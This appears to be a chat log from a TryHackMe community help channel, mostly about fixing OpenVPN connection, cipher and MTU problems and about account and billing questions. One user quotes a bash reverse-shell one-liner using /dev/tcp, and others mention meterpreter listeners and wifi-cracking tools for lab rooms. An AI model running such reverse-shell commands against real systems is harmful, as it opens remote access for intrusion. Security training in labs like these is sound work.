can you run ifconfig and see if you have tun0 interface? If yes I suggest you to do ifconfig tun0 down and run again the thm-troubleshoot script

I've got the same problem

everything was working normally the days before, I wanted to do an apt update and apt upgrade, then when I tried today to connect to openvpn, it doesn't work anymore 🤨

[fresh coral]

yes me the same

i have updated too

[dense bramble]

Unfortunately that's a known bug currently, you can check here #1092490706385383524, but they're working on it. I think if you email support, they can help.

[solar vigil]

Hey there, is there any way I can unverify a discord account to then switch the verification to this one?

[sharp zephyr]

@dense bramble thank you. I will wait for a fix.

[scenic torrent]

Gave +1 Rep to @dense bramble

[sharp zephyr]

@topaz jackal any luck?

[dense bramble]

Yes, you can ping one of the mods and ask nicely, they can unlink it for you

[solar vigil]

awesome, thank you @dense bramble !

[scenic torrent]

Gave +1 Rep to @dense bramble

[solar vigil]

Hi there @bronze vale ! Would you be able to help me out switching my discord accounts? Happy to provide any necessary information through DM 🙂

[glad oyster]

cc @cold fog for the AD networks

[fallow raft]

Hey @glad oyster , bad news the issue has come up again after it started working! So I am not sure how sustainable the solution is. I have everything setup correctly still firefox won't open the site and the resolution won't come up ! I am not in a position to devote more time to this. Hence, I am moving away to something else now, I believe I was better off practicing PG at least wont have lost a day's time. I was going to write to you for help.

By everything I mean the link has the interface adn DNS of the network

[dense bramble]

I would stick with the solution with the resolv.conf file that I talked about, and I believe also Scrubz in another channel

[fallow raft]

Yeah tried that as well, but if I do that still I do nto see the network DNS associated with the interface on runnign resolvectl status

[dense bramble]

Sure, but that part is not necessary to be connected

[fallow raft]

it's symlinked adn the config can be found under netif

for the link

/run/systemd/resolve/netif ere the actual interface config could be seen. I consulted in other channels as well and this seems to be pretty sure wayt ot know your interface is gettng the right DNS

here*

[dense bramble]

I'm sorry I can't be of more help, I never used anything other than those steps, though I'm guessing the way you're doing it is more in line of what would be proper steps

[fallow raft]

yeah but thanks for trying to help. It matters! 🙂

[hard swan]

I'm here for the exact same problem (´・ω・｀ )

[jade vigil]

🥲 🙏

[jade vigil]

well I guess nothing has been released to fix this problem yet

[honest mauve]

Hey everyone, so I had to skip one day of doing THM and I had a streak freeze ready, which got popped. The next day I did some tasks but the day after my streak was gone anyway. I have already opened a ticket for this, I was just wondering if my current streak will get added to the one that's being restored by THM support?

[trim kindle]

Hey guys, I'm having trouble with setting up a connection with ovpn. Tried running the script and changing cipher to data-ciphers and all, still the issue persists . ^O^

might help

[trim kindle]

nope

[trim kindle]

I already mentioned that the troubleshoot script didn't help.

[tribal burrow]

try regenerate vpn script on thm site and download it

[bronze vale]

You haven’t waited for it to connect

[trim kindle]

No I just cancelled it for taking a ss, the file is still trying to connect, but no luck yet 😦

[bronze vale]

Mhm, we need to see what happens so that we can advise 🙂

[jade vigil]

btw for me , for openvpn its now working after changing VPN Server and regenerating it

@fresh coral @hard swan you should try it

[honest mauve]

Yeah, I also had issues connecting via VPN which randomly started today. Regenerating and connecting via CLI fixed it.

[trim kindle]

oh, here you go

[bronze vale]

ping google.com -c 1 in your terminal, what happens?

[bronze vale]

Which VPN sever are you using?

[trim kindle]

like generally or for tryhackme?

[honest mauve]

TryHackMe

[bronze vale]

If you're connected to another VPN service, that might be the reason for your connection issues

[bronze vale]

Have you tried EU-Reg-1

[trim kindle]

no I don't use VPN, also it was working fine yesterday.

[bronze vale]

It looks like you are from India, have you tried the IN vpn server?

[trim kindle]

yay!

[trim kindle]

worked with the EU-Regular-1

@topaz jackal I’m not sure, but you can always try switching it back, and redownloading the default, now that you got it to work

I'm trying to do the Intro2PwnTools module but it's not working for me. When I try to ssh into the IP address of my machine with user:buzz & pass:buzz it says it's incorrect. I tried to do it on my local machine too (which is what I prefer) and yet some stuff like checksec doesn't work.

[weary spindle]

Attackbox or VM

[summer oasis]

for Attackbox the SSH doesn't work. When I do it locally I can't do checksec.

[weary spindle]

What about using uptime in the CLI?

[weary spindle]

Do you have a target IP there?

[summer oasis]

yeah I've just been using the IP in the top-right of the Attackbox, but I'll be honest I'm not sure if that's correct. I've got some CTF experience and setup my own stuff but I've never used the Attackbox

[weary spindle]

Do you have this box, when you press the green start machine button on task 1?

That message wasn't for you.

[summer oasis]

I did yeah

[weary spindle]

I was able to log in with the buzz:buzz

[summer oasis]

It's expired now, I wasn't aware exiting out of the Attackbox still used up the time on it

😐

[weary spindle]

Yes.

You only get 60 min(s) an day as a free user.

And it's 60 min(s) from the moment you start.

I'm having trouble connecting to remote windows server using RDC on my Windows. I had blocked port 80 outbound and inbound and thought this was the problem but I already deleted the rule and still doesn't allow me to connect. I am seeing this.

I'm in the Windows Event Logs room from SOC path

[weary spindle]

you on the VPN?

[naive dust]

Yes OpenVPN

On Windows @weary spindle

[weary spindle]

Double check you're running ok.

[naive dust]

right here it says okay

[weary spindle]

Yeah, but the Windows GUI can be bugged.

Is this your host?

[naive dust]

yes my main host

[weary spindle]

I wouldn't suggest that.

[naive dust]

i've been told this before i think.

i used to connect with it just fine

[weary spindle]

Probably from me.

[naive dust]

now since i moved to my new place my NIC has been disconnecting and connecting on it's own to this new network we got

we got a new ISP as well

[weary spindle]

How long have you had the new ISP for?

[naive dust]

and i don't really like the modem they gave me

[naive dust]

1 week

i've been here at my new place for about 1 week now

[weary spindle]

I'm sure new lines take about 10 days to straighten out?

[naive dust]

and the modem/router they gave me doesn't have a web interface

everything is dealt with through the app

[weary spindle]

Ew.

[naive dust]

that's why i wanted to do what Agressive James did

buy a router and add ddwrt on it

this one sucks

sorry

unfortunately, the place we moved to is remote so we only have two options

it's a small town

gonna reimage my computer again

[jade mountain]

Hello,

I've been using TryHackMe's VPN with OpenVPN for several months on my Mac without any issues. However, a few days ago, I started having trouble with the connection.

To resolve this, I tried deleting the VPN, changing the server, regenerating my configuration file, and re-adding it to OpenVPN (after deleting the old one, of course). While I am able to connect to the VPN itself, I can't seem to connect to any virtual machines. I also cannot ping them.

Additionally, I've noticed a peculiar issue in the toolbar at the top right of my Mac, where the VPN's time counter constantly fluctuates between 0:00 and 0:02, as if it's continuously disconnecting and reconnecting.

I'm at a loss for what could be causing this issue. Could anyone please assist me in resolving this?

Thank you in advance for your help.

Failure to connect to the VPN can usually be solved by one of the following options:

    -Switching servers, then regenerating your OpenVPN config
    -Checking your system time. If your system time is incorrect then this can cause issues with the authentication process
If none of these methods work, please ask for further assistance in the TryHackMe Discord server, subreddit or forums.

[bronze vale]

Have you requested a password reset from https://tryhackme.com/forgot ?

[fierce tinsel]

yes

[bronze vale]

If you haven’t received your password reset email, and an email from support, it is likely that your emailing service is filtering out our emails

[fierce tinsel]

so how can i reset it ?

[bronze vale]

You’ll need to check your spam or contact your emailing service and see if they can remove the block on our domain

Hey y'all, I do have a realtek rtl8812au wifi adapter/dongle that I'm trying to run in monitor mode for use with airgeddon. Airgeddon version is 11.11(supposed rtl8812au common fixes have been integrated into the main program according to the "plugins Hall of Fame") and... yeah, SS below

Picked #3 and recieved "This interface wlan1 is not a wifi card. it doesn't support monitor mode"

been trying this on and off in many ways for a month now. I just avoid learning anything wifi-cracking related at this point but I need to do something basic to take a break from more complicated stuff

should i edit my ovpn config ?

you need to make a change to the file so that it will work; you can also use the pinned vpn troubleshooting script and it should make the change for you, IIRC

Thank you

[scenic torrent]

Gave +1 Rep to @white rampart

[naive dust]

my question is. Where and how will they implement the feature at

will it be some toggle switch or button

In the meantime, you can use Dark Reader apparently

[plush bay]

good old dark reader the open source dark mode extension

[tulip widget]

yeah I think it will have some type of option I have been getting eye floaters from prolong staring at white screens

oh you can use some other product to view in a dark mode

[tulip widget]

I wonder if turning off my room light and just having the monitor on that might help with eye floaters

[plush bay]

redshifting/nightmode on your display or operating system might also help

[tiny turtle]

What do you guys think about the privacy implications of those extensions? Will they change your browser fingerprint, or share data with the extension's developer?

I think dark reader requires the extension to access all of your browsing data

I try to read paper books in the evening while the sun is setting, and avoid artificial lights. I get the best sleep that way!

[tulip widget]

cool I might try that

I hate to read anything even sheet music in bright light

change browser fingerprint?? yes probably
share data with developers??? not really unless you yourself send a bug report
worth the trade off with dark reader??? yes for shadow but maybe not for everyone
worth the trade off with ublock origin == ABSOLUTELY YES as it harms much more agressive tracking

[tiny turtle]

Do you mean using dark reader with ublock, or just ublock itself?

[plush bay]

shadow uses both

[tiny turtle]

I use and love ublock especially for the zapper

lmao shadow also talks in 3rd person?

I was informed that I would have access to the older pricing ($10 p.m.) of TryHackMe Premium until the 1st of October, 2023 but when I tried to purchase Premium today, I'm being shown the new prices ($14 p.m.) even though the due date for price updation isn't over.

[bronze vale]

That deal was only for users with an active subscription

[frozen parrot]

No, I have an email that says the contrary

But I'm not allowed to send a picture in this chat ig.

What does this mean for you?
For new subscribers, prices will change from the 7th of May 2023.

To thank you for your loyalty as an existing TryHackMe subscriber, your subscription price will remain the same until the 1st of October, 2023.

On October 1st, your subscription price will increase to $14 per month. For annual users, this will increase to $10.50 per month, and this change will not affect you until October.

Please note: Annual subscriptions give 3 months of additional access for the price of only 9.

Hey guys, I'm getting super frustrated with the following: I've set up Kali on a vm and everything works fine, but no matter how I change the keyboard-layout, I simply cant get the "@" symbol... if I type it in I get "«" instead. I'm using a Macbook with a German layout and that's also what I've chosen in the keyboard settings... Is there a way how I can fix this? Can I maybe give "@" manually a key I want?

Nevermind, found a combination that works... this is the only way the keys match the actual keyboard, in case someone in the future has the same problem:

[proud vector]

Hi, if there is anyone here from the support team on tryhackme, please help me. I sent you a message via email at [e-mail] I have not received a reply. I have a problem. Please help me. I sent it on Saturday.

[weary spindle]

Please be patient, there is a higher demand than usual due to the event, and the standard response time is 2-3 days.

If I subscribe to the premium level today, then will I be able to start the Red Teaming Capstone after a week?

[dense bramble]

No, the capstone is only available until June 5th

[vale forge]

Oh, so what if I join it today and donot complete it by june 5, will I be removed from the room or will I be still able to complete it after 5th june?

[dense bramble]

It will only be available to business users after that

Mhm, that is only for an existing subsection, if you cancel and resubscribe you are taken off the old prices 🙂

[frozen parrot]

I didn't cancel and resubscribe. I just got this email during my college duration, and waited till now (June) to get the subscription to actually have time to study as mentioned on that deadline.

It just stands as an issue due to the exchange rate for India making the new prices significantly pricier for guys here, and the email making me think I had time to avail older pricing.

Anyways from my understanding
of the scenario rn I'm assuming that some fine print contradicts what was mentioned in the email and I just need to purchase it at $14. Thank you for the reply and consideration though, I highly appreciate it.

Hi There,
Im struggling to establish a RDP connection. I am in the adbasics_v1.2 and the IP provided isnt responding. If I try to ping it, it doesnt work. I did relaunch the machine to try get a different IP however it isnt working. I can access it through the web machine but I cant progress in the task because Im unable to run the powershell script to change the user password for Claire.

Im using Remmina to do the RDP.

I just want to check if I should just switch to my windows machine and do it from there.

Hey, I still only get the 20% student discount from the previous $8 price, does it change after the next subscription?

[glad coyote]

hey! m trying to solve a room, i made connection via openvpn, but it still shows me the host is down.. i looked at writeup to check if it suppose to be like that but it doesnt seems so, how can i improve the connection?

[civic ingot]

managed to solve a cursed openvpn issue - posting in case it helps someone because i could not find a straightforward solution anywhere:

• openvpn had worked perfectly since i signed up
• i couldnt connect to machine instances, though thm/access reported me as connected
• very thoroughly tried all the troubleshooting steps, especially regenerated my config after swapping servers several times.
• affected my windows desktop and macbook
• noticed in the logs that i'd form a tunnel but like not really:

⏎[May 26, 2023, 05:55:18] EVENT: CONNECTED 3.104.196.208:1194 (3.104.196.208) via /UDPv4 on TUN_WIN/{private}/ gw=[10.4.0.1/]
⏎[May 26, 2023, 05:55:18] EVENT: WARN Proto: Using a 64-bit block cipher that is vulnerable to the SWEET32 attack. Please inform your admin to upgrade to a stronger algorithm. Support for 64-bit block cipher will be dropped in the future.

⏎[May 26, 2023, 05:57:18] Client terminated, restarting in 2000 ms...

• AES-256-CBC is a 128-bit key, and it seems that for whatever reason my client and thm had negotiated to use BF-CBC instead: ⏎[May 26, 2023, 05:55:18] EVENT: CONNECTING {...}, cipher BF-CBC, even though my ovpn config specifically indicated a cipher: data-ciphers AES-256-CBC.
• tried to specify ncp-disable, which did nothing, and i saw that older versions of openvpn used the protocol option cipher AES-256-CBC, which also didnt work, though it seemed to fix the BF-CBC warning.
• for whatever reason, adding the two flags together worked:

cipher AES-256-CBC
data-ciphers AES-256-CBC

i have no idea how or why this happened, or if this is someone that the troubleshooting script might've been able to help with, but hopefully this is helpful in some capacity:))

Please HELP ME!

When I run the command "sudo openvpn nazmul.bd.ovpn," I encounter an error:

2023-05-31 07:53:21 Note: --cipher is not set. OpenVPN versions prior to 2.5 defaulted to BF-CBC as a fallback when cipher negotiation failed in such cases. If you require this fallback, please add '--data-ciphers-fallback BF-CBC' to your configuration and/or include BF-CBC in --data-ciphers.

In my configuration file, I have already set the data-ciphers to AES-256-CBC.

oh

[-] MTU value failed at 1000, aborting MTU check

trying to connect to wreath and the box says running, been up for a while now

[winter solstice]

Hmm... I haven't encountered this issue before. Maybe try changing the value of the MTU to 1200 or 1500.

sudo ip link set <interface_name> mtu <new_mtu_value>

[opal jolt]

got it, ill try that thank you, ill let you know

I set it to 1200 then 1500 and still saying failed at 1000 dang 😭 I want to use my setup instead of their attack box whyyyyyy

I think I got it, i just added the connection on the network vpn deal and I could ping it now so i am good

[median edge]

Hi could you tell me what you did I also have the MTU 1000 error

[opal jolt]

in kali top right click the network settings button, then vpn connections > configure vpn > scroll to the bottom and add vpn connection

that worked for me

Ah well shit I don’t know how to configure that

Have you added the ip adress to the host resolution file? If you are on linux its /etc/hosts and there you have to add a line with the schema „x.x.x.x example.tryhackme.thm“, replace it with the IP you got and the adress you got

I don‘t remember what domain names that room had but if I remember correctly there were multiple, you can also add the ip and then have multiple subdomain.domain.tld after each other, divided by a space

Hope you understand what i mean ^^ for example:
8.8.8.8 example.domain.thm example2.domain.thm etc

[soft condor]

For those encountering issues with the TryHackMe OpenVPN connection using the GUI interface, I have a solution that worked for me. Follow these steps:

Start by running the script provided at this link: https://github.com/tryhackme/openvpn-troubleshooting. This script generates a correct OpenVPN configuration file.

Manually add the OpenVPN configuration using nmcli:

nmcli connection import type openvpn file THM.ovpn

Modify the configuration files to ensure the connection is used only for resources on its network. Change to the appropriate directory:

cd /etc/NetworkManager/system-connections/

Open the THM.nmconnection file (use the appropriate file name in your case) and add the following line to both the [ipv4] and [ipv6] sections: never-default=true

Here's an example of how the file should look after the modification:

[ipv4]
dns-search=
method=auto
never-default=true

[ipv6]
addr-gen-mode=stable-privacy
dns-search=
ip6-privacy=0
method=auto
never-default=true

Restart the network service to apply the changes:

sudo systemctl restart NetworkManager.service

That's it! The TryHackMe OpenVPN should now be properly integrated with NetworkManager.

[weary spindle]

So much effort just for sudo openvpn ~/path/to/file.file.ovpn

But everyone is different.

[bronze vale]

and get error too
this is ping from my linux:

Hello I'm trying to remove the discord token for my account cause I created a new one because I couldn't delete the account that I wanted to restart learning on is there a way to fix this so I'm no longer linked to my old account?

[golden pollen]

I'm trying to remove my old account because it has my full name on it's username

You'll need to ask a mod to unlink your token.

[cinder charm]

I opened a ticket but no one contacted me yet should i open another one?

[weary spindle]

Hello hello.

When did you E-mail?

Support is currently running slower due to the ongoing Red Team Capstone Challenge, the wait time (AFAIK) is currently anywhere between 3-5 day(s).

Please bare i mind, I'm not staff.

[weary spindle]

Hopefully you see this ping before you E-mail again.

If you do send another, it will just push your original E-mail further down the line, please don't E-mail again until after 7-8 day(s).

[cinder charm]

It wasnt an email I used the website

[cinder charm]

Wait what is that?

[weary spindle]

The ticket system on the website opens an E-mail.

@tawdry orbit hey sorry for the ping but can you unlink my token

[primal fjord]

Hello, I cannot get any connection with my own machine because it gets stuck there every time. nmap says the port is open and reachable, but I cannot get any connection with ssh with my vm

I have already changed the vpn config and the vpn server, reinstalled the openssh-client and also my vm, but it still doesn't work

I can access the machine via the attackbox, so the room isn't broken

[spare grotto]

Hello I have an issue, how to remove my credit card from TryHackMe account so it cannot monthly renew without my permission ?

Other question, If I hit on cancel subscription, will the money be returned to the card?

[stuck sorrel]

imageinfo is a plugin for volatility 2, for vol3 you have to use windows.info

[weary spindle]

No it won't

It will just stop the auto-renew when it expires.

[proven mason]

I did, nothing there

[keen canopy]

I have a question for anyone who knows why we continue to experience Openvpn issues. I tend to keep my Kali system updated, so I'm on Openvpn 2.6.3. Every time I download a new configuration file, I have to update the ciphers AES-256-CBC to data-ciphers AES-256-CBC in order for it to work. While this is not a monumental task for me or others, for beginners, this would be very frustrating. I would like to understand why this is even an issue and what is being done to address it? I understand backwards compatibility an all but I also understand that we migrate to new versions because of issues with older ones and overall security. Is there some sort of justification for why this hasn't been resolved?

[stuck sorrel]

I solved by with 2.6 and lower by deleting the second line with data-ciphers AES-256-CBC and edit ciphers AES-256-CBC to cipher AES-256-CBC , not ciphers

it turned out that some parameters for openvpn are changed in the newest version and the website generate config file with the newest parameteres, but you are using the older version with older config

[keen canopy]

What is the current version?

[weary spindle]

As described above.

Thm can't know what OpenVpn version everyone has.

There is however a troubleshoot script that can help with connecting.

!vpnscript

[sharp bison]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[keen canopy]

I have used the script. Doesn't work.

Just fails after trying to connect. Works when I change using the parameters I discussed.

[weary spindle]

Do you run both at the same time?

[keen canopy]

I have tried both ways.

If the VPN is up, after I update the config, it will work. Prior to updating the configuration, it fails.

Either way, I'm curious as to why on an updated Kali machine, which is by far the most common machine that most people use to do THM, HTB, CTFs, etc., the OpenVPN version is an issue. Can't we address compatibility issues or at least provide some guidance on the site for different platforms? If THM doesn't "know" what versions people are using, then they should assume that a few different platforms that have different versions are being used and at least provide a link to FAQ for connecting to their environment.

Just my opinion. Again, not a huge deal for me, I am thinking about newer members and removing some of the frustration with connecting to the environment.

BTW: Here is what I get when running the script:

[+] Stable internet connection
[+] OpenVPN is installed
[+] tun0 exists
[+] tun0 IP is in the correct range
[-] More than one connection running
Would you like the script to attempt to fix this (Y/n)? Y
[+] Killed duplicate processes
[+] Connecting....
[+] Connection Process completed successfully!
[+] Confirming connectivity
[-] MTU value failed at 1000, aborting MTU check
[-] Something went wrong -- please ask for further assistance in the TryHackMe Discord server, subreddit, or forum

I guess my main issue here is that we are in a circular pattern of not addressing the issue. After running the script, it says: Something went wrong -- please ask for further assistance in the TryHackMe Discord server, subreddit, or forum. You come to the Discord channel and get told to run the troubleshooting script, which then fails and tells you go back to the Discord server...

Its fine, I obviously can make it work and some may feel that I'm complaining, which I am. Fix it or address it on the site on the access page. Don't send people to forums or Discord servers to get round about answers for connecting to an environment they have paid to access. Been a member of THM for over 5 years, this is my only complaint and this is how it gets addressed.

[weary spindle]

I'm sorry you feel that way.

The website is going under a re-construction and DrGonzo has been working on making new help pages over the last few weeks/months

[weary spindle]

But there is also this webpage, which DrGonzo wrote.

https://help.tryhackme.com/en/articles/6496058-troubleshooting-openvpn-on-linux-and-mac

[keen canopy]

@weary spindle Did you read that page? Did you read my post above? I'm not on a MAC. The article has nothing to do with my connectivity issues on a platform that is widely used by the infosec community. That is the problem.

[weary spindle]

You're starting to be rude.

I've gave you a document that will help troubleshooting with Linux and Mac.

[crystal marlin]

Be assured that we are trying our best to address issues 🙂
You said your openvpn config is not holding the data-cipher rather than just cipher
I just downloaded a config file and at least for the server I was using, it's having data-cipher
So may I ask what VPN server you tried?

[keen canopy]

@crystal marlin
US-WEST-VIP-1

This one says: cipher AES-256-CBC

[glacial hound]

Hey, when was the last time you regenerated the config file?

I just downloaded a fresh one, and It has "data-ciphers"

[keen canopy]

@glacial hound That, I am not sure about. I often switch servers depending on what labs I'm on.

I can regenerate and test.

[stuck sorrel]

guys, the site generates config for the latest openvpn version and the parameter is data-ciphers

if you are using 2.x version data-ciphers is not available

that's why you can't connect

[glacial hound]

I think that might be the issue, our teams made an update to all configuration files a bit over a month ago, so it could be that your config file has the old configuration.

[stuck sorrel]

my config for eu1 has 2 lines of data-ciphers which is not correct and I have to delete one of them

[keen canopy]

@glacial hound Ok, that is a very useful answer. I can confirm, the regenerate configuration, and download of the new .ovpn file shows:

client
dev tun
proto udp
sndbuf 0
rcvbuf 0
remote 54.193.147.96 1194
resolv-retry infinite
nobind
explicit-exit-notify 3
persist-key
persist-tun
remote-cert-tls server
auth SHA512
data-ciphers AES-256-CBC
key-direction 1
verb 3
reneg-sec 0
<ca>```

[stuck sorrel]

if you use older cient change data-ciphers AES-256-CBC to cipher AES-256-CBC

[keen canopy]

I was unaware that I needed to regenerate the file. I mistakenly believed that changing servers caused this regeneration automatically.

[glacial hound]

Awesome, we do try to tell users to regenerate them as much as possible, but I will have a look at our help docs to see if I can make it clearer 🙂

[keen canopy]

Thank you @glacial hound for your assitance. That was extremely helpful.

[glacial hound]

Yeah seems to be only EU 1; thanks for bringing this up, I've asked our teams to update it!

[errant smelt]

hello
is the website down ?

[keen canopy]

@errant smelt Appears up for me.

[glacial hound]

@stuck sorrel the EU 1 Rgular config files have been updated, could you try regenerating, downloading again to confirm?

[stuck sorrel]

looks correct

shall I use this one or can use the old config?

[glacial hound]

Thanks, I'm assuming you've removed the extra line in your old config, so you can keep using it.

Is that the only output? Should be more lines.
Also, could you try running curl 10.10.10.10/whoami in a separate terminal, without closing the openvpn connection

Just tested it and it's working fine

If that doesn't work, could you re

[stuck sorrel]

not working with curl

it started complains about the ciphers

this is with the old and with the new config

[glacial hound]

Could you try regenerating the file, waiting a few mins then downloading again? If that doesn't work, can you do the same with another server?

[stuck sorrel]

regenerated it

but didn't change the ciphers

and it worked

strange behavior

maybe the older config file had some issue

[hidden tide]

i cannot connect to the cloud machine in "learning linux part 3" it keeps saying wrong password. anyone that can give me a hint on why

[weary spindle]

Can you take a screenshot?

[hidden tide]

i was just told in pm that i forgot the "tryhackme@" part when sshing

it works now

[plush bay]

ah that would explain it

[pearl pendant]

Can we connect to any machine using ssh ?

[plush bay]

well if the ssh port is open... you got the username and either the password or a key file.... yes
otherwise no

[pearl pendant]

I used an machine ip rn on kali machine using ssh and it told public key denied

[plush bay]

you need to connect to the openvpn to use your own kali vm or kali machine

[pearl pendant]

I was connected to open vpn

[plush bay]

and the ips tend to look like 10.10.x.x where x are random numbers

[pearl pendant]

Yes

[plush bay]

which room pikaachu???

[pearl pendant]

It was content discovery

[plush bay]

don't think that room has ssh open... and even if it did you are not intended to connect to it

[pearl pendant]

How to know that room has ssh open or not

[plush bay]

nmap

[pearl pendant]

I mostly use attack box

But it’s slow

[plush bay]

and generally if you are intended to connect to ssh and it is not a ctf room it will tell you the credentials

same way it does with rdp for the rooms that use that

[pearl pendant]

I just tried vm for the first time , my laptop is not good

I always use attack box

It’s slow

[plush bay]

well not much shadow can do about that

[pearl pendant]

Shadow can give any advice

😁

[plush bay]

save up money to buy a new computer ¯_(ツ)_/¯

[pearl pendant]

😭

[plush bay]

or go looking for refurbished thinkpads or other company laptops getting sold... assuming there are any companies selling off their old laptops... you would probably need to buy a ssd or hdd if you do then

[pearl pendant]

I am having ssd

[plush bay]

yeah.... life gets in the way some times

[pearl pendant]

Processor is old

[pearl pendant]

Life is not good currently

I was so addicted to Netflix , i use to binge watch all day

Recently i got serious in life

[plush bay]

well summer is comming up so maybe you could get a summer job and get some money for a new computer that way

assuming you are old enough to get a summer job that is

[pearl pendant]

Yeah i am 19

But I am not capable of any job

[plush bay]

shadow find that hard to believe but can't prove you wrong on that front

[pearl pendant]

Shadow is intelligent, i am not 🙃

[plush bay]

well some places in sweden have small kiosks you can sell icecream at during summer as a summer job

or cutting the neighboors grass

and other things

[pearl pendant]

Tbh i really don’t like study , i just want to live peaceful life but my family will kill me that way & also i don’t do any work all day

[pearl pendant]

My place is different & things here are tough

Can i continue on my current laptop & when i get any job then i will buy new one ?

[plush bay]

don't see any flaws in that plan either.... except it maybe being a bit slow as you stated earlier

[pearl pendant]

I can tell you specs

It’s i3 11th generation
8 gb ram
CPU 2 cores
512 gb ssd

[vital sundial]

Oh yeah I'm an idiot

Thanks

[wind verge]

Why support don't listen to our request? How come there is no cancelation for the automatic payment annually? I already paid for one year, and I cannot control the next year payment. Such a rubbish support.... I already asked before and 3 of my friends registered base on my recommendation...

[naive dust]

hello, im running a kali vm on top of my linux mint vm using qemu, the openvpn program is running on the host. And I want to start a meterpreter listener using the guest machine. but cannot start it. What should I change?

kai ifconfig

mint ifconfig

is there a way to make iterface tun0 apear on both of them?

so I can open ports on the ip adress on both of the machines?

[broken bear]

if the vpn is connected on the host and not the guest, you are making it more difficult. Connect inside the vm to assign a network addres from the THM to the VM.

[naive dust]

from the THM?

what do you mean?

[tribal mason]

If you want to cancel, the next subscription will be cancelled instead of the current one. Additionally, support may be inadequate due to the ongoing event; don't hold them responsible. Also, being mean to support won't result in quicker responses.

[wind verge]

I don't know why it's auto payment for the next year. Why? People should pay by force for the coming years too? It's a big mistake in marketing...

[naive dust]

Sometimes a bash reverse shell one-liner bash -i >& /dev/tcp/ip/port 0&>1 doesn't work for me. Netcat/metasploit listeners get a connection but they immediately die. Happens both with local machine and AttackBox.
No problems seen with other types of reverse shells tho.

[tribal mason]

You can cancel it...

[zealous yoke]

As said above, you can cancel it 🙂

Auto-payment is extremely common in basically any subscription service

My netflix, gym, amazon prime, vps, phone, codeacademy, etc, all automatically renews /shrug

[wind verge]

Non sense. Why a customer should face this pain and always be worried for the cancelation. I already paid for one year and my account tells:your subscription will renew on:x.y.z. Why? I need to set an alert to don't miss it? If I am happy and want to continue, will pay again. Like Skype, they offer this to all customers to use auto renew or not.

[zealous yoke]

You can submit your feedback to https://tryhackme.com/feedback, but I'm just trying to say that this isn't some rogue tactic. It's pretty much how any subscription service that I can think of operates

If you want to purchase premium without having to worry about cancelling auto-renewals, you can buy vouchers which are a one-time use thing 🙂

https://tryhackme.com/subscriptions

[wind verge]

I already tried twice. But no feedback unfortunately.

I just read the help. So, I can cancel my subscription without loosing access until end of my last subscription.

[fossil latch]

Hello...anyone knowing why any password change request email is not being sent? Had this problem multiple times in the past

Anyone from the staff?

[dense bramble]

Yes, that's what 0xheap was saying all the way above. Cancelling will just cancel the auto-renewal, you've already paid, you won't lose any access until your subscription runs out.

[hidden grail]

Initially I did, then I shut off from both and tried on just the host.

[plush bay]

yeah that causes problems a lot

i.e trying to use a vpn over a vpn

[hidden grail]

its working fine in kali, but burp is not working in kali

so I need it to work in my host machine

[plush bay]

you can't connect to the same vpn on both either

i.e you can't use tryhackme:s vpn config file on both your host and on kali at the same time

as that would cause conflicts

[hidden grail]

it not running on either now

[hidden grail]

trying this; Please enter the path to your config:
what do I input here?

[plush bay]

point it to the .ovpn file

or place the troubleshoot script in the same folder as the .ovpn file

at this point screenshots might actually help more....

[hidden grail]

it told me to download the .ovpn file again and regenerate the file

which I already did for the 5th time

will shutting down the system work? I guess it back to basics now since troubleshooting is not working anymore, lol

``` means it work for shadow

so dunno what got wrong for you

wait a sec

see it works for shadow with those ending lines... the question is what is differing

[hidden grail]

yes I'm getting exactly this

[plush bay]

and yes it should just work even if it shows that

as long as you are not closing that terminal window

or ctrl + c

[hidden grail]

i did the curl, said not conne ted

[dim wigeon]

Hey guys, is there a problema at "lateralmovement" vpn?
They staying looping and canno't connect

[plush bay]

if you open your web browser and browse to 10.10.10.10 does it work??? please post screenshots

[dim wigeon]

The script thm-troubleshooting, not is for this vpn lateralmovement

[plush bay]

the vpn trouble shooting script used to work for the networks too but dunno now

[plush bay]

the entire thingy please

[hidden grail]

ok now it wokred, curl gave a response

before it said not connected

this is weird

[plush bay]

sounds like you might have broken already running vpn connections according to that output

[hidden grail]

but I'm still unable to access the machine on browser

[plush bay]

sudo killall openvpn might fix it or a reboot

[hidden grail]

did this too

[plush bay]

are you sure said machine has port 80 open

[dim wigeon]

thanks by your time, guys

[hidden grail]

it was working fine the complete day

page is not loading

I guess reboot is the key

[plush bay]

oooooh

you do realise that the ip of the target machines gets put down if you do not do anything with it for 2 hours

you probably need to restart the target machine and use the new ip of the target machine

[hidden grail]

I have terminated & regenrated it a few times as well

I did everything I can think of

[plush bay]

well just checked... that ip works for shadow

sooo something is still wrong on your end

[hidden grail]

I guess

[plush bay]

where are you from???? @hidden grail could be your government blocking openvpn

[hidden grail]

nah, I've been working on THM/HTB a long time. its not the case

there's no ban here

[dim wigeon]

Hey guys. Resolved the problema with vpn lateralmovement

Thanks

[plush bay]

after you regenerated your ovpn file did you wait 5-15 mins before downloading it???

[hidden grail]

nope

[plush bay]

could try that and also killing all openvpn instances

[hidden grail]

I'll just regenerate, reboot and then download again

[plush bay]

also just to be sure you can do the sudo killall openvpn -9 which would definitely nuke all the openvpn instances if there are any missbehaving

[hidden grail]

so this is weird, it just started working again, I literally just refreshed the page

thm's gone crazy

I tried to use it on windows but the same problem with Windows and Kali.

[plush bay]

try regenerating the config file and download the new one

[modern musk]

i've tried but it doesn't work

[modern musk]

VPNs don't work at all in my country and could this be the reason why openvpn doesn't work?

[plush bay]

yuup very much so

[modern musk]

oh so sad )

[plush bay]

you should still be able to use the attackbox

[modern musk]

yeah🙂

You can check the index's data volume or try a broader search query to see if any events are present.

[honest sparrow]

hello 🙂 is there anyone willing to help with vpn issues?

[weary spindle]

What's up?

[honest sparrow]

I sent an email yesterday to support describing what I did so far. I can't connect even after regenerating all config available from the dashboard

[weary spindle]

What happens when you regen your config?

[honest sparrow]

the TLS handshake keeps failing

[weary spindle]

Which country are you in?

[honest sparrow]

PT

[weary spindle]

uh, Portugal?

[honest sparrow]

yup

already tried setting timedate

[weary spindle]

Are you on your home network?

[honest sparrow]

yes

[weary spindle]

have you tried using this?

[weary spindle]

Can you take a screenshot of your VPN output.

[honest sparrow]

it tries to connect to that IP

and with netcat I can connect to it via udp, but TLS handshake keeps failing

[weary spindle]

Can you nano your file and take a screenshot?

[honest sparrow]

all of it? 😮 it's big

[weary spindle]

Just the top.

But Jabba is here, they'll have a better idea than myself.

[bronze vale]

What VPN server are you using?

[honest sparrow]

right now the eu-regular

